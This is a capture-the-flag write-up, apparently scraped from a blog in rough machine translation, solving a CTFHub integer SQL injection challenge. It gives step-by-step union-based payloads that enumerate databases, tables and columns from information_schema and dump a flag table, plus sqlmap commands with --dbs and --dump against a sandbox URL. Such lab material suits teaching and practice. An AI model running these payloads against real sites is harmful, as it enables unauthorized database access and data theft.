当前位置:网站首页>Ctfhub web SQL injection - integer injection
Ctfhub web SQL injection - integer injection
2022-06-29 02:19:00 【Long street 395】
Do it for the first time SQL Inject , It's really hard . I can't even understand the steps of manual injection , I actually use tools directly sqlmap, Then type a few lines of code .
Let's start with manual injection :
union select The joint query , Joint injection is commonly used
database() Echo the currently connected database
version() View the current sql The version of :mysql 1.2.3, mariadb-4.5.6
group_concat() Use the values in the generated same group with , Connect , Form a string
information_schema Saved a lot mysql Database of information
information_schema.schemata information_schema A table of the library , be known as schemata
schema_name schemata Table storage mysql All database name fields
information_schema.tables Save mysql All the watches
table_schema tables The database name field corresponding to each table is stored in the table
table_name The name of the table and table_schema One-to-one correspondence
information_schema.columns columns The table stores the information of all columns 4
column_name When you know the name of a watch , All field names in the table can be obtained through secondary fields ( Name )
table_name The name of the table and column_name One-to-one correspondence
select updatexml(1,concat(0x7e,database(),0x7e),1); Note here , Only in databse() Correct the content you want, and then the error will be echoed
right(str, num) The string is intercepted from the right num Characters
left(str,num) Empathy : The string is intercepted from the left num Characters
substr(str,N,M) character string , From N Character start , Intercept M Characters
And some basic sql grammar
And some basic notes :
#,– Space ,/* */
First open the topic , Know the integer injection of this problem ,
So there are no quotes
So we use :
1
1 and 1=1
1 and 1=2
To test whether there is sql Loophole
obtain :



Find out 1 and 1 and 1=1, Echo the same
and 1 and 1=2, No echo
Come to the conclusion , Executed logical statements and , So there is sql Loophole
therefore , We can construct sql sentence :
1 order by 1
1 order by 2
1 order by 3
See how many fields , obtain :



So I used union select Joint injection
Here should be union Repetition is not allowed
therefore id Use an empty , I will use it. :520
Construction statement :
520 union select 1,2

See that the function we entered is executed ,
So look at the database in the construction statement :
520 union select 1,group_concat(schema_name) from information_schema.schemata limit 1
See all database names :

Check the current database name in the construction statement :
520 union select 1,database()

Get the current database :sqli
View the database in the construction statement sqli Table name in :
520 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’ limit 1
Get the name of the watch , among flag The table shows the value we want
So construct a statement to view flag Field name in :
520 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 1
Get the fields flag, So construct a statement query field :
520 union select 1, group_concat(flag) from sqli.flag limit 1
obtain flag:

Then is sqlmap Used :
First step : view the database
python sqlmap -u "http://challenge-97a3e176a7437521.sandbox.ctfhub.com:10800/?id=1" --batch --dbs
The second step : View tables in the database
python sqlmap -u "http://challenge-97a3e176a7437521.sandbox.ctfhub.com:10800/?id=1" --batch --tables -D sqli

The third step : View the contents of the table
python sqlmap -u "http://challenge-97a3e176a7437521.sandbox.ctfhub.com:10800/?id=1" --batch --dump -T flag -D sqli

flag To get
Reference link :
ctfhub Integer Injection
http://t.csdn.cn/NuIGR
【CTFHub】sql Inject - Integer Injection https://www.jianshu.com/p/05b33402afe9
ps: The tools are really convenient , But we still need to continue to learn some basic database operations , also SQL Basic knowledge of injection
边栏推荐
- Google Borg paper
- Is it safe to contact the account manager online to open an account for stock speculation?
- Learning Tai Chi Maker - mqtt Chapter II (IX) test of this chapter
- Why install an SSL certificate on a web site?
- Koa 快速入門
- 如何成为一名高级数字 IC 设计工程师(6-7)数字 IC 验证篇:DEBUG 技巧
- Why should the pointer be null after delete
- chrome浏览器关闭更新弹窗
- 高并发的理解与设计方案
- 指南针手机股票开户哪个券商更安全更方便?
猜你喜欢

Chrome browser close update Popup

【Redis】List类型

The left toolbar of hbuilder is missing

How to become a senior digital IC Design Engineer (4-3)

CTFHub-Web-SQL注入-整数型注入

“内窥镜第一股”二闯IPO,去年亏损5个亿,核心产品商业化仍存疑 | IPO速递

Use code binding DataGridView control to display tables in program interface

Tiflash compiler oriented automatic vectorization acceleration

How to become a senior digital IC Design Engineer (4-2) script: file read / write operation realized by Verilog HDL code
![[redis] set type](/img/97/0a83016e89316849c01072044f2124.png)
[redis] set type
随机推荐
如何成为一名高级数字 IC 设计工程师(3-5)工具篇:SpyGlass 技术
Use kubernetes resource lock to complete your own ha application
高并发的理解与设计方案
字符串输出
How to become a senior digital IC Design Engineer (4-5) script: file comparison operation implemented by shell script
How to become a senior digital IC Design Engineer (6-6) digital IC Verification: system level simulation
“内窥镜第一股”二闯IPO,去年亏损5个亿,核心产品商业化仍存疑 | IPO速递
To apply for a test engineer after years, the resume with high scores should be written like this
Crawler exercise (IV) -- IP address problem
Who do you want to know when opening a stock account? Is it safe to open an account online now?
大智慧手机股票开户哪个券商更安全更方便?
HashSet storing objects and how to not store the same objects
【Redis】Set类型
Com3529 test analysis
Blog publishing test 3
在按钮禁用时消除hover效果
[redis] hash type
【Redis】初识 Redis
[apprendre la programmation FPGA - 49 à partir de zéro]: vision - Comment la puce a - t - elle été conçue?
Which is the best billing method for okcc call center